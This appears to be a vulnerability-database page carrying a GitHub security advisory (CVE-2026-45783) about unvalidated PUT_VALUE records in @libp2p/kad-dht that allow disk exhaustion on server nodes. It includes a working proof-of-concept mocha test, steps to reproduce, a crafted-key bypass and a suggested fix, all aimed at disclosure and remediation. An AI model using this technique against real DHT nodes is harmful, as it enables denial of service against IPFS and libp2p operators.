GHSA-32MQ-HPPH-XFVR
Vulnerability from github – Published: 2026-05-19 20:07 – Updated: 2026-06-11 13:30Summary
An unauthenticated remote peer can exhaust the disk storage of any @libp2p/kad-dht node running in server mode by sending an unbounded stream of PUT_VALUE messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable.
Details
Two cooperating defects combine to produce the vulnerability.
Defect 1: verifyRecord silent early-return (packages/kad-dht/src/record/validators.ts:19-21)
export async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> {
const key = record.key
const keyString = uint8ArrayToString(key) // decode as UTF-8
const parts = keyString.split('/')
if (parts.length < 3) {
// No validator available
return // <- silent success; record IS written to datastore
}
// ...
}
Legitimate DHT keys (/pk/<multihash>, /ipns/<peerId>) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two / characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.
Defect 2: Unbounded RPC message loop (packages/kad-dht/src/rpc/index.ts:103-152)
let signal = AbortSignal.timeout(this.incomingMessageTimeout) // 10 s inactivity timer
signal.addEventListener('abort', abortListener)
const messages = pbStream(stream).pb(Message) // DEFAULT_MAX_DATA_LENGTH = 4 MB
while (true) {
if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }
const message = await messages.read({ signal })
await this.handleMessage(connection.remotePeer, message)
// ...
signal.removeEventListener('abort', abortListener)
signal = AbortSignal.timeout(this.incomingMessageTimeout) // timer RESET each message
signal.addEventListener('abort', abortListener)
}
The inactivity timeout is reset after every successfully received message. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.
Combined impact
DEFAULT_MAX_DATA_LENGTH = 4 MBper message (from@libp2p/utils)DEFAULT_MAX_INBOUND_STREAMS = 32concurrent streams perkad-dhtinstance- Attack throughput: 4 MB × unlimited messages × 32 streams
- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)
Differential note: go-libp2p-kad-dht enforces record.Validator.Validate() per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.
PoC
The proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.
File: packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts:
/**
* PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts
*
* Affected: packages/kad-dht/src/record/validators.ts:19-22
* packages/kad-dht/src/rpc/handlers/put-value.ts
* packages/kad-dht/src/rpc/index.ts (unbounded while loop)
*/
/* eslint-env mocha */
import assert from 'node:assert'
import { start } from '@libp2p/interface'
import { defaultLogger } from '@libp2p/logger'
import { persistentPeerStore } from '@libp2p/peer-store'
import { Libp2pRecord } from '@libp2p/record'
import { streamPair } from '@libp2p/utils'
import { MemoryDatastore } from 'datastore-core'
import * as lp from 'it-length-prefixed'
import { TypedEventEmitter } from 'main-event'
import pDefer from 'p-defer'
import Sinon from 'sinon'
import { stubInterface } from 'sinon-ts'
import { StreamMessageEvent } from '@libp2p/interface'
import { toString as uint8ArrayToString } from 'uint8arrays/to-string'
import { Message, MessageType } from '../../src/message/dht.js'
import { PeerRouting } from '../../src/peer-routing/index.js'
import { Providers } from '../../src/providers.js'
import { RoutingTable } from '../../src/routing-table/index.js'
import { RPC } from '../../src/rpc/index.js'
import { passthroughMapper } from '../../src/utils.js'
import { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'
import type { Validators } from '../../src/index.js'
import type { RPCComponents } from '../../src/rpc/index.js'
import type { Connection, Libp2pEvents } from '@libp2p/interface'
import type { AddressManager } from '@libp2p/interface-internal'
import type { Datastore } from 'interface-datastore'
describe('PoC: PUT_VALUE stores data without validation for short keys', function () {
this.timeout(15_000)
let rpc: RPC
let datastore: Datastore
beforeEach(async () => {
const peerId = await createPeerIdWithPrivateKey()
datastore = new MemoryDatastore()
const components: RPCComponents = {
peerId: peerId.peerId,
datastore,
peerStore: stubInterface(),
addressManager: stubInterface<AddressManager>(),
logger: defaultLogger()
}
components.peerStore = persistentPeerStore({
...components,
events: new TypedEventEmitter<Libp2pEvents>()
})
await start(...Object.values(components))
// Default validators: only 'pk' and 'ipns' in production.
// Empty {} means: any key with ≥3 parts but unknown type throws; any key
// with <3 parts silently passes (the bypass under test).
const validators: Validators = {}
rpc = new RPC(components, {
routingTable: Sinon.createStubInstance(RoutingTable),
providers: Sinon.createStubInstance(Providers),
peerRouting: Sinon.createStubInstance(PeerRouting),
validators,
logPrefix: '',
metricsPrefix: '',
datastorePrefix: '',
peerInfoMapper: passthroughMapper
})
})
it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {
// Key bytes that, when decoded as UTF-8, produce a string with only 1 part
// when split on '/': [0x01, 0x02, 0x03] → "\x01\x02\x03" → length 1 < 3
const craftedKey = new Uint8Array([0x01, 0x02, 0x03])
const keyStr = uint8ArrayToString(craftedKey)
const parts = keyStr.split('/')
assert.ok(parts.length < 3,
`key produces ${parts.length} parts — expected < 3 for bypass`)
const PAYLOAD_SIZE = 64 * 1024 // 64 KB — replace with 4 * 1024 * 1024 for full impact
const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)
const record = new Libp2pRecord(craftedKey, largeValue, new Date())
const encodedRecord = record.serialize()
const msg: Partial<Message> = {
type: MessageType.PUT_VALUE,
key: craftedKey,
record: encodedRecord
}
// Confirm datastore is empty before the attack
const before: string[] = []
for await (const { key } of datastore.query({})) {
before.push(key.toString())
}
assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,
'datastore must be empty before attack')
// Open an in-memory stream pair.
// outboundStream = attacker; incomingStream = victim.
const [outboundStream, incomingStream] = await streamPair()
// Wait for the echoed response (PUT_VALUE handler returns the message).
// This confirms the victim processed the message before we check the store.
const responseReceived = pDefer<void>()
outboundStream.addEventListener('message', (evt) => {
// LP-decode the response and verify it's our PUT_VALUE echo
for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {
const response = Message.decode(buf)
if (response.type === MessageType.PUT_VALUE) {
responseReceived.resolve()
}
}
})
// Schedule message send after victim starts listening (mirrors existing test pattern)
queueMicrotask(() => {
outboundStream.send(lp.encode.single(Message.encode(msg)))
})
// Start victim processing — do not await yet
const victimDone = rpc.onIncomingStream(
incomingStream,
stubInterface<Connection>()
)
// Wait until the victim has processed and echoed the message
await responseReceived.promise
// Verify: arbitrary record was stored
const after: string[] = []
for await (const { key } of datastore.query({})) {
after.push(key.toString())
}
const dhtRecordsAfter = after.filter(k => k.includes('/record/'))
assert.ok(dhtRecordsAfter.length > 0,
'VULNERABILITY CONFIRMED: arbitrary record stored without validation')
console.log(`\n[PoC] Datastore key written: ${dhtRecordsAfter[0]}`)
console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)
console.log(`[PoC] Payload stored: ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)
// Clean up: abort the stream so victimDone resolves
incomingStream.abort(new Error('test cleanup'))
await victimDone.catch(() => {})
})
it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {
const MESSAGES = 8
const VALUE_SIZE = 16 * 1024 // 16 KB each
for (let i = 0; i < MESSAGES; i++) {
// Unique key per message → unique datastore entry per write
const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])
const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)
const record = new Libp2pRecord(craftedKey, value, new Date())
const msg: Partial<Message> = {
type: MessageType.PUT_VALUE,
key: craftedKey,
record: record.serialize()
}
const [outboundStream, incomingStream] = await streamPair()
const responseReceived = pDefer<void>()
outboundStream.addEventListener('message', () => { responseReceived.resolve() })
queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })
const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())
await responseReceived.promise
incomingStream.abort(new Error('test cleanup'))
await victimDone.catch(() => {})
}
const keys: string[] = []
for await (const { key } of datastore.query({})) {
keys.push(key.toString())
}
const dhtRecords = keys.filter(k => k.includes('/record/'))
assert.strictEqual(dhtRecords.length, MESSAGES,
`expected ${MESSAGES} records stored`)
const totalKB = (MESSAGES * VALUE_SIZE) / 1024
console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)
console.log('[PoC] No per-peer write budget. No per-stream message count limit.')
console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')
})
})
Steps to reproduce (tested on commit 15eeedba13846e55e8fc3f9e4c49af18fa185ea4):
git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/kad-dht
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha \
'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000
Expected output:
PoC: PUT_VALUE stores data without validation for short keys
[PoC] Datastore key written: /record/aebag
[PoC] Bypassed validator with: key=[0x1,0x2,0x3]
[PoC] Payload stored: 65536 bytes (64 KB)
✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts
[PoC] 8 records stored → 128 KB written
[PoC] No per-peer write budget. No per-stream message count limit.
[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.
✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked
2 passing (44ms)
Test 1 (BYPASS) confirms that a single PUT_VALUE message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation.
Test 2 (RATE) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.
Impact
Affected deployments: any @libp2p/kad-dht node in server mode (clientMode: false). Server mode is the default for nodes with publicly routable addresses; the kad-dht module auto-switches to server mode (kad-dht.ts:340-358). This includes:
- IPFS nodes (kubo, Helia, any JS IPFS implementation)
- libp2p bootstrap nodes
- Any application exposing a public DHT endpoint
Not affected: DHT client-mode nodes, setMode('client') calls registrar.unhandle(this.protocol) which removes the inbound stream handler entirely.
Availability (disk): attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared repo datastore). Node becomes unavailable.
No authentication barrier: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.
Suggested minimum fix: Change the silent early-return to a hard rejection:
- if (parts.length < 3) {
- // No validator available
- return
- }
+ if (parts.length < 3) {
+ throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)
+ }
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@libp2p/kad-dht"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "16.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45783"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T20:07:52Z",
"nvd_published_at": "2026-06-10T22:16:59Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node\u0027s datastore fills until the host disk is exhausted, making the node unavailable.\n\n### Details\nTwo cooperating defects combine to produce the vulnerability. \n \n**Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)** \n \n```typescript \nexport async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise\u003cvoid\u003e { \n const key = record.key \n const keyString = uint8ArrayToString(key) // decode as UTF-8\n const parts = keyString.split(\u0027/\u0027) \n \n if (parts.length \u003c 3) { \n // No validator available \n return // \u003c- silent success; record IS written to datastore\n } \n // ... \n} \n```\n\nLegitimate DHT keys (`/pk/\u003cmultihash\u003e`, `/ipns/\u003cpeerId\u003e`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.\n\n**Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)** \n \n```typescript \nlet signal = AbortSignal.timeout(this.incomingMessageTimeout) // 10 s inactivity timer\nsignal.addEventListener(\u0027abort\u0027, abortListener) \nconst messages = pbStream(stream).pb(Message) // DEFAULT_MAX_DATA_LENGTH = 4 MB\n\nwhile (true) {\n if (stream.readStatus !== \u0027readable\u0027) { await stream.close({ signal }); break }\n const message = await messages.read({ signal })\n await this.handleMessage(connection.remotePeer, message)\n // ...\n signal.removeEventListener(\u0027abort\u0027, abortListener)\n signal = AbortSignal.timeout(this.incomingMessageTimeout) // timer RESET each message\n signal.addEventListener(\u0027abort\u0027, abortListener)\n}\n```\n\nThe inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.\n\n**Combined impact**\n\n- `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`)\n- `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance\n- Attack throughput: 4 MB \u00d7 unlimited messages \u00d7 32 streams\n- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)\n\n**Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.\n\n### PoC\nThe proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.\n\n**File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`:\n\n```typescript\n/**\n * PoC: kad-dht PUT_VALUE stored without validation for keys with \u003c 3 slash-separated parts\n *\n * Affected: packages/kad-dht/src/record/validators.ts:19-22\n * packages/kad-dht/src/rpc/handlers/put-value.ts\n * packages/kad-dht/src/rpc/index.ts (unbounded while loop)\n */\n\n/* eslint-env mocha */\n\nimport assert from \u0027node:assert\u0027\nimport { start } from \u0027@libp2p/interface\u0027\nimport { defaultLogger } from \u0027@libp2p/logger\u0027\nimport { persistentPeerStore } from \u0027@libp2p/peer-store\u0027\nimport { Libp2pRecord } from \u0027@libp2p/record\u0027\nimport { streamPair } from \u0027@libp2p/utils\u0027\nimport { MemoryDatastore } from \u0027datastore-core\u0027\nimport * as lp from \u0027it-length-prefixed\u0027\nimport { TypedEventEmitter } from \u0027main-event\u0027\nimport pDefer from \u0027p-defer\u0027\nimport Sinon from \u0027sinon\u0027\nimport { stubInterface } from \u0027sinon-ts\u0027\nimport { StreamMessageEvent } from \u0027@libp2p/interface\u0027\nimport { toString as uint8ArrayToString } from \u0027uint8arrays/to-string\u0027\nimport { Message, MessageType } from \u0027../../src/message/dht.js\u0027\nimport { PeerRouting } from \u0027../../src/peer-routing/index.js\u0027\nimport { Providers } from \u0027../../src/providers.js\u0027\nimport { RoutingTable } from \u0027../../src/routing-table/index.js\u0027\nimport { RPC } from \u0027../../src/rpc/index.js\u0027\nimport { passthroughMapper } from \u0027../../src/utils.js\u0027\nimport { createPeerIdWithPrivateKey } from \u0027../utils/create-peer-id.js\u0027\nimport type { Validators } from \u0027../../src/index.js\u0027\nimport type { RPCComponents } from \u0027../../src/rpc/index.js\u0027\nimport type { Connection, Libp2pEvents } from \u0027@libp2p/interface\u0027\nimport type { AddressManager } from \u0027@libp2p/interface-internal\u0027\nimport type { Datastore } from \u0027interface-datastore\u0027\n\ndescribe(\u0027PoC: PUT_VALUE stores data without validation for short keys\u0027, function () {\n this.timeout(15_000)\n\n let rpc: RPC\n let datastore: Datastore\n\n beforeEach(async () =\u003e {\n const peerId = await createPeerIdWithPrivateKey()\n datastore = new MemoryDatastore()\n\n const components: RPCComponents = {\n peerId: peerId.peerId,\n datastore,\n peerStore: stubInterface(),\n addressManager: stubInterface\u003cAddressManager\u003e(),\n logger: defaultLogger()\n }\n components.peerStore = persistentPeerStore({\n ...components,\n events: new TypedEventEmitter\u003cLibp2pEvents\u003e()\n })\n\n await start(...Object.values(components))\n\n // Default validators: only \u0027pk\u0027 and \u0027ipns\u0027 in production.\n // Empty {} means: any key with \u22653 parts but unknown type throws; any key\n // with \u003c3 parts silently passes (the bypass under test).\n const validators: Validators = {}\n\n rpc = new RPC(components, {\n routingTable: Sinon.createStubInstance(RoutingTable),\n providers: Sinon.createStubInstance(Providers),\n peerRouting: Sinon.createStubInstance(PeerRouting),\n validators,\n logPrefix: \u0027\u0027,\n metricsPrefix: \u0027\u0027,\n datastorePrefix: \u0027\u0027,\n peerInfoMapper: passthroughMapper\n })\n })\n\n it(\u0027BYPASS: verifyRecord returns early for key with \u003c 3 slash-delimited parts\u0027, async () =\u003e {\n // Key bytes that, when decoded as UTF-8, produce a string with only 1 part\n // when split on \u0027/\u0027: [0x01, 0x02, 0x03] \u2192 \"\\x01\\x02\\x03\" \u2192 length 1 \u003c 3\n const craftedKey = new Uint8Array([0x01, 0x02, 0x03])\n const keyStr = uint8ArrayToString(craftedKey)\n const parts = keyStr.split(\u0027/\u0027)\n assert.ok(parts.length \u003c 3,\n `key produces ${parts.length} parts \u2014 expected \u003c 3 for bypass`)\n\n const PAYLOAD_SIZE = 64 * 1024 // 64 KB \u2014 replace with 4 * 1024 * 1024 for full impact\n const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)\n\n const record = new Libp2pRecord(craftedKey, largeValue, new Date())\n const encodedRecord = record.serialize()\n\n const msg: Partial\u003cMessage\u003e = {\n type: MessageType.PUT_VALUE,\n key: craftedKey,\n record: encodedRecord\n }\n\n // Confirm datastore is empty before the attack\n const before: string[] = []\n for await (const { key } of datastore.query({})) {\n before.push(key.toString())\n }\n assert.strictEqual(before.filter(k =\u003e k.includes(\u0027/record/\u0027)).length, 0,\n \u0027datastore must be empty before attack\u0027)\n\n // Open an in-memory stream pair.\n // outboundStream = attacker; incomingStream = victim.\n const [outboundStream, incomingStream] = await streamPair()\n\n // Wait for the echoed response (PUT_VALUE handler returns the message).\n // This confirms the victim processed the message before we check the store.\n const responseReceived = pDefer\u003cvoid\u003e()\n outboundStream.addEventListener(\u0027message\u0027, (evt) =\u003e {\n // LP-decode the response and verify it\u0027s our PUT_VALUE echo\n for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {\n const response = Message.decode(buf)\n if (response.type === MessageType.PUT_VALUE) {\n responseReceived.resolve()\n }\n }\n })\n\n // Schedule message send after victim starts listening (mirrors existing test pattern)\n queueMicrotask(() =\u003e {\n outboundStream.send(lp.encode.single(Message.encode(msg)))\n })\n\n // Start victim processing \u2014 do not await yet\n const victimDone = rpc.onIncomingStream(\n incomingStream,\n stubInterface\u003cConnection\u003e()\n )\n\n // Wait until the victim has processed and echoed the message\n await responseReceived.promise\n\n // Verify: arbitrary record was stored\n const after: string[] = []\n for await (const { key } of datastore.query({})) {\n after.push(key.toString())\n }\n const dhtRecordsAfter = after.filter(k =\u003e k.includes(\u0027/record/\u0027))\n\n assert.ok(dhtRecordsAfter.length \u003e 0,\n \u0027VULNERABILITY CONFIRMED: arbitrary record stored without validation\u0027)\n\n console.log(`\\n[PoC] Datastore key written: ${dhtRecordsAfter[0]}`)\n console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b =\u003e `0x${b.toString(16)}`).join(\u0027,\u0027)}]`)\n console.log(`[PoC] Payload stored: ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)\n\n // Clean up: abort the stream so victimDone resolves\n incomingStream.abort(new Error(\u0027test cleanup\u0027))\n await victimDone.catch(() =\u003e {})\n })\n\n it(\u0027RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\u0027, async () =\u003e {\n const MESSAGES = 8\n const VALUE_SIZE = 16 * 1024 // 16 KB each\n\n for (let i = 0; i \u003c MESSAGES; i++) {\n // Unique key per message \u2192 unique datastore entry per write\n const craftedKey = new Uint8Array([0x10, (i \u003e\u003e 8) \u0026 0xFF, i \u0026 0xFF])\n const value = new Uint8Array(VALUE_SIZE).fill(i \u0026 0xFF)\n const record = new Libp2pRecord(craftedKey, value, new Date())\n\n const msg: Partial\u003cMessage\u003e = {\n type: MessageType.PUT_VALUE,\n key: craftedKey,\n record: record.serialize()\n }\n\n const [outboundStream, incomingStream] = await streamPair()\n\n const responseReceived = pDefer\u003cvoid\u003e()\n outboundStream.addEventListener(\u0027message\u0027, () =\u003e { responseReceived.resolve() })\n\n queueMicrotask(() =\u003e { outboundStream.send(lp.encode.single(Message.encode(msg))) })\n const victimDone = rpc.onIncomingStream(incomingStream, stubInterface\u003cConnection\u003e())\n\n await responseReceived.promise\n incomingStream.abort(new Error(\u0027test cleanup\u0027))\n await victimDone.catch(() =\u003e {})\n }\n\n const keys: string[] = []\n for await (const { key } of datastore.query({})) {\n keys.push(key.toString())\n }\n const dhtRecords = keys.filter(k =\u003e k.includes(\u0027/record/\u0027))\n\n assert.strictEqual(dhtRecords.length, MESSAGES,\n `expected ${MESSAGES} records stored`)\n\n const totalKB = (MESSAGES * VALUE_SIZE) / 1024\n console.log(`\\n[PoC] ${MESSAGES} records stored \u2192 ${totalKB} KB written`)\n console.log(\u0027[PoC] No per-peer write budget. No per-stream message count limit.\u0027)\n console.log(\u0027[PoC] Production impact: 4 MB/msg \u00d7 N msgs per stream \u00d7 32 streams = disk exhaustion.\u0027)\n })\n})\n```\n\n**Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`):\n\n```bash\ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p\nnpm install\ncd packages/kad-dht\nnpx aegir build\nnode --experimental-vm-modules ../../node_modules/.bin/mocha \\\n \u0027dist/test/rpc/poc-put-value-unvalidated.spec.js\u0027 --timeout 30000\n```\n\n**Expected output**:\n\n```\nPoC: PUT_VALUE stores data without validation for short keys\n\n[PoC] Datastore key written: /record/aebag\n[PoC] Bypassed validator with: key=[0x1,0x2,0x3]\n[PoC] Payload stored: 65536 bytes (64 KB)\n \u2714 BYPASS: verifyRecord returns early for key with \u003c 3 slash-delimited parts\n\n[PoC] 8 records stored \u2192 128 KB written\n[PoC] No per-peer write budget. No per-stream message count limit.\n[PoC] Production impact: 4 MB/msg \u00d7 N msgs per stream \u00d7 32 streams = disk exhaustion.\n \u2714 RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\n\n2 passing (44ms)\n```\n\n**Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim\u0027s datastore with no validation.\n\n**Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.\n\n### Impact\n**Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes:\n- IPFS nodes (kubo, Helia, any JS IPFS implementation)\n- libp2p bootstrap nodes\n- Any application exposing a public DHT endpoint\n\n**Not affected**: DHT client-mode nodes, `setMode(\u0027client\u0027)` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely.\n\n**Availability (disk)**: attacker fills the victim\u0027s datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable.\n\n**No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.\n\n**Suggested minimum fix**:\nChange the silent early-return to a hard rejection:\n \n```diff\n- if (parts.length \u003c 3) {\n- // No validator available\n- return\n- }\n+ if (parts.length \u003c 3) {\n+ throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)\n+ }\n```",
"id": "GHSA-32mq-hpph-xfvr",
"modified": "2026-06-11T13:30:45Z",
"published": "2026-05-19T20:07:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-32mq-hpph-xfvr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45783"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/js-libp2p"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "@libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.